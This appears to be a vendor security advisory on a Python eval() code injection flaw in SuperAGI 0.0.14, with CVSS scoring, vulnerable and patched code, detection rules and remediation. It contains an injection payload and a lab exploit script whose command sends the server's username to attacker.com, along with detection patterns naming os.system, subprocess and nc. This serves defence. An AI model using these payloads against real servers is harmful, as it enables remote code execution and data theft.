CVE-2025-51472

Executive Summary

CVE-2025-51472 is a critical code injection vulnerability in TransformerOptimus SuperAGI version 0.0.14. The flaw resides in the AgentTemplate.eval_agent_config function, which unsafely evaluates user-supplied agent template configurations using Python's eval() function without any sanitization or validation. This allows a remote, unauthenticated attacker to inject and execute arbitrary Python code on the server by crafting malicious values in fields such as goal, constraints, or instruction. Successful exploitation leads to full remote code execution (RCE), enabling data theft, system compromise, or lateral movement within the network. No patch is currently available, and the vendor has not released a fix.

Supply Chain & Package Security

This vulnerability affects the SuperAGI Python package (PyPI). Organizations using SuperAGI in their AI agent pipelines should immediately isolate the affected version and monitor for updates. The lack of a patch increases supply chain risk, as malicious actors could exploit this to compromise downstream systems.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full data access.
• Integrity (I): High (H) – Full system control.
• Availability (A): High (H) – Potential denial of service.

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The vulnerability is in the AgentTemplate.eval_agent_config method, which processes agent template configurations. The function uses Python's built-in eval() to evaluate expressions within fields like goal, constraints, and instruction. Since eval() executes arbitrary Python code, an attacker can inject malicious payloads.

Vulnerable Code Path:

1. User submits a POST request to create or update an agent template.
2. The server parses the JSON payload and passes the goal, constraints, or instruction fields to eval_agent_config.
3. The function calls eval() on the field value without sanitization.
4. The injected code executes in the server's Python runtime.

Example Payload:

{
  "goal": "__import__('os').system('id')",
  "constraints": "None",
  "instruction": "None"
}

This would execute the id command on the server.

Vulnerable vs. Patched Code

Vulnerable Code (SuperAGI 0.0.14):

def eval_agent_config(self, config):
    for key, value in config.items():
        if isinstance(value, str):
            config[key] = eval(value)  # Unsafe eval
    return config

Patched Code (Hypothetical):

import ast

def eval_agent_config(self, config):
    for key, value in config.items():
        if isinstance(value, str):
            try:
                # Only allow literal expressions
                config[key] = ast.literal_eval(value)
            except (ValueError, SyntaxError):
                config[key] = value  # Fallback to original string
    return config

The patched version uses ast.literal_eval() which only evaluates literals (strings, numbers, tuples, lists, dicts, booleans, and None), preventing arbitrary code execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy SuperAGI 0.0.14 in a Docker container.
2. Expose the API on port 8080.
3. Use the following exploit script:

import requests

target = "http://localhost:8080"
payload = {
    "goal": "__import__('os').system('curl http://attacker.com/$(whoami)')",
    "constraints": "None",
    "instruction": "None"
}

# Create a malicious agent template
r = requests.post(f"{target}/api/agent_templates", json=payload)
print(r.text)

Expected Outcome: The server executes the injected command, sending a request to the attacker's server with the username.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual eval() calls in Python logs.
2. Look for POST requests to /api/agent_templates with suspicious JSON payloads containing __import__, os.system, or subprocess.
3. Use the YARA and Sigma rules below.

Response:

• Immediately isolate the affected server.
• Review logs for any successful exploitation.
• Rotate all credentials stored on the compromised system.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/agent_templates with JSON containing __import__, os.system, subprocess, or exec.
  • Outbound connections to unknown IPs on ports 80/443 from the SuperAGI server.
• File IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ created by the www-data user.
  • Modified agent template configuration files in the SuperAGI data directory.
• Process IOCs:
  • Python processes spawning shells (/bin/sh, /bin/bash).
  • Unusual child processes of the SuperAGI service (e.g., curl, wget, nc).

Detection Engineering

YARA Rule

rule CVE_2025_51472_SuperAGI_Eval_Injection {
    meta:
        description = "Detects malicious eval() payloads targeting SuperAGI CVE-2025-51472"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $eval_call = "eval("
        $dangerous_funcs = /__import__|os\.system|subprocess|exec\(/
        $json_field = /"goal"|"constraints"|"instruction"/
    condition:
        $eval_call and $dangerous_funcs and $json_field
}

Sigma Rule

title: SuperAGI Eval Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2025-51472 via malicious eval() payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/agent_templates'
        cs-uri-query|contains:
            - '__import__'
            - 'os.system'
            - 'subprocess'
            - 'exec('
    condition: selection
falsepositives:
    - Legitimate use of eval() in custom templates (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-51472 SuperAGI Eval Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/agent_templates"; http_uri;
    content:"__import__"; http_client_body;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate all SuperAGI 0.0.14 instances from the network.
2. Disable the eval_agent_config function if possible, or replace it with ast.literal_eval().
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Apply a vendor patch when available.
• Upgrade to a patched version of SuperAGI.
• Implement input validation and sanitization for all user-supplied data.

Compensating Controls:

• Use a Web Application Firewall (WAF) to block requests containing eval(), __import__, or os.system.
• Restrict outbound traffic from the SuperAGI server to only necessary destinations.
• Run the application in a sandboxed environment (e.g., Docker with read-only filesystem).

Valters IT
Securing Digital Frontiers